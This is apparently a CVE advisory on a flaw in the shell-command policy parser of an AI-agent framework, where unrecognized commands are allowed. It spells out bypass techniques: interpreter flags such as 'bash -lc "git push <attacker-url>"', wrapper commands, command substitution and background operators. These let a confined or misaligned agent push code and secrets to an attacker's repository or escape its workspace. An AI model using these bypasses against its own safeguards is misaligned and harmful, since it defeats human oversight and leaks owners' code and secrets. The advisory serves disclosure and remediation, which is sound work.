CVE-2026-62676: CWE-184: Incomplete List of Disallowed Inputs in omnigent-ai omnigent

The vulnerability in omnigent-ai omnigent involves the shared shell-command parser in the component 'omnigent/policies/builtins/_shell.py'. When the parser encounters a gated command it does not recognize, it returns None, which the policy evaluator interprets as abstain and thus allows the command. This behavior bypasses the product's core safety policies including GitHub repository/branch allowlists and workspace confinement. Verified bypass methods include using combined interpreter flags (e.g., 'bash -lc "git push <attacker-url>"'), unlisted wrappers like 'timeout' or 'nice', command substitution, and background operators. Controls correctly deny bare 'git push' and 'env git push' commands, confirming the issue is incomplete input filtering rather than logic errors. The suggested fix is to fail closed by denying unrecognized commands, canonicalizing known wrappers to their inner commands, and recursively parsing shell control operators and command substitutions.

An attacker or misaligned agent confined by omnigent policies can exploit this vulnerability to push code or secrets to attacker-controlled Git repositories, push to protected branches, or escape workspace confinement. This leads to potential code and secret exfiltration and bypass of critical safety mechanisms designed to restrict agent actions.

Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. The suggested fix involves changing the parser to fail closed by denying unrecognized commands instead of allowing them, canonicalizing known command wrappers before evaluation, and recursively parsing shell command constructs. Until a patch is available, users should be aware of this bypass risk in the shell-command parser and consider restricting agent capabilities or monitoring for anomalous command usage if possible.